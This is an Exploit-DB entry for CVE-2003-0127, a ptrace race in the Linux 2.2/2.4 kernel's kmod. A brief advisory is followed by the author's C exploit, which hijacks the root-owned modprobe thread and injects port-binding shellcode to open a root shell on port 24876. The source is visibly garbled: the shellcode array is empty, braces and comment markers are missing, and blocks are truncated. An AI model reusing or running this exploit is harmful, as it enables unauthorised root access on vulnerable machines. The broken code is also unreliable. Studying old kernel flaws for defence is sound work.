Linux Kernel 2.2.x/2.4.x - Privileged Process Hijacking Vulnerability 2

ID EDB-ID:22363
Type exploitdb
Reporter Wojciech Purczynski
Modified 2003-04-10T00:00:00


Linux Kernel 2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2). CVE-2003-0127. Local exploit for linux platform

A vulnerability has been discovered in the Linux kernel which can be exploited using the ptrace() system call. By attaching to an incorrectly configured root process, during a specific time window, it may be possible for an attacker to gain superuser privileges.
The problem occurs due to the kernel failing to restrict trace permissions on specific root spawned processes.
This vulnerability affects both the 2.2 and 2.4 Linux kernel trees.

 *  Author: snooq []
 *  Date: 10 April 2003
 *  Wojciech Purczynski [ ], says (in his code):
 *  [quote]
 *	This code exploits a race condition in kernel/kmod.c, which creates
 *	kernel thread in insecure manner. This bug allows to ptrace cloned
 *	process, allowing to take control over privileged modprobe binary.
 *  [/quote]
 *  For more info:
 *  Temp fix --> echo XXX /proc/sys/kernel/modprobe
 *  I've seen somewhere... somebody suggested 'chmod 700 /proc' as a quick
 *  fix....
 *  The truth is... 'chmod 700 /proc' does not close the hole.
 *  It merely cripple the exploit... which reads /proc entries
 *  The flaw is still exploitable without 'rwx' to /proc..
 *  Having said all these craps.... I must say that I'm still a newbie to 
 *  kernel stuffs.... and I think my code looks really ugly too....
 *  so... if you r not happy wif the way I code.. or any suggestions for me..
 *  or even flames.... direct them to jinyean_at_hotmail_dot_com 
 *  Well.. I dun usually do this.. but I will do it this time... 
 *  Greetz.. my team mates??? Nam, JF & ET?? haha...  
 *  just wanna thank u for reading these craps..  
 *  and to ET.. maybe next time.. I could join u as a kernel hacker... =p
 *  Notes: 
 *  ======
 *  1. There are at least 2 versions of exploit out there..
 *     ie, Wojciech's and anszom's...
 *  2. The way I exploit it is no diff from both except:
 *     -> mine is one attempt per run. Script it, if u need to
 *     -> bind port instead of spawn shell.. 
 *     -> dun bother to read /proc entries
 *     -> not as feature rich as anszom's
 *     -> not as reliable.... etc... etc..
 *  3. I coded this as an exercise.. as a way to learn bout kernel internals 
 *  4. Lastly, credits go to Wojciech and anszom.

#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>		/* For user_regs_struct */

#define SIZE	(sizeof(shellcode)-1)	

pid_t parent=0;
pid_t child=0;
pid_t k_child=0;
static int sigc=0;

   Port binding shellcode, courtesy of <>
   I just changed the port no..... =p 

char shellcode[]=	

void sigchld() {

void sigalrm() {
	fprintf(stderr,"-> Something wrong and it timeout.\n");

main(int argc, char *argv[]) {

	int i, error;
	pid_t pid;

	struct user_regs_struct regs;	/* Registers Structure */


	switch (pid=fork()) {

	case -1:
		perror("Can't fork(): ");
	case 0:			/* Child's thread -- The attacking thread. */

		k_child=child+1;	/* Kernel child's PID... Hopefully.. */

		fprintf(stderr, "-> Parent's PID is %d. Child's PID is %d.\n", parent, child);

		fprintf(stderr, "-> Attaching to %d...", k_child);

		   Trying to attach to the child spawned by the kernel, which has both
		   euid and egid set to 0. Child will be sent a SIGSTOP and we, the 'parent',
		   will get a SIGCHLD. This process is not immediate. Hence, we need to 
		   wait before we continue. Otherwise, we will fail controlling the thread.


		while ((error=ptrace(PTRACE_ATTACH,k_child,0,0)==-1) && (errno==ESRCH)) {
			fprintf(stderr, ".");

		if (error==-1) {
			fprintf(stderr,"-> Unable to attach to %d.\n",k_child);

		fprintf(stderr, "\n-> Got the thread!!\n");

		   Waiting for the firt SIGCHLD, which signals the end of the attaching action.

		if (ptrace(PTRACE_SYSCALL,k_child,0,0)==-1) {
			fprintf(stderr,"-> Unable to setup syscall trace.\n");

		   The thread is under our control now. Will wail for the next signal 
		   to inject our own code.

		fprintf(stderr,"-> Waiting for the next signal...\n");

		if (ptrace(PTRACE_GETREGS,k_child,NULL,&regs)==-1) {
			perror("-> Unable to read registers: ");
		fprintf(stderr, "-> Injecting shellcode at 0x%08x\n",regs.eip);
		for (i=0; i<=SIZE; i+=4) {
			if( ptrace(PTRACE_POKETEXT,k_child,regs.eip+i,*(int*)(shellcode+i))) {}

		fprintf(stderr, "-> Bind root shell on port 24876... =p\n");

		   All done. It's time to leave 'our' poor child alone.... ;)
		   and get ready to kill ourselves... 

		if (ptrace(PTRACE_DETACH,k_child,0,0)==-1) {
			perror("-> Unable to detach from modprobe thread: ");

		fprintf(stderr, "-> Detached from modprobe thread.\n");
		fprintf(stderr, "-> Committing suicide.....\n");

		if (kill(parent,9)==-1) {	/* This is really ugly..... */
			perror("-> We survived??!!??  ");

		   We should be dead by now. 



	default:		/* Parent's thread -- The vulnerable call */
		   Now, the parent is requesting a feature in a kernel module.
		   Such action will trigger the kernel to spawn a child with
		   euid=0, egid=0.... Voila!!!
		   NB: See <linux/socket.h> for more info.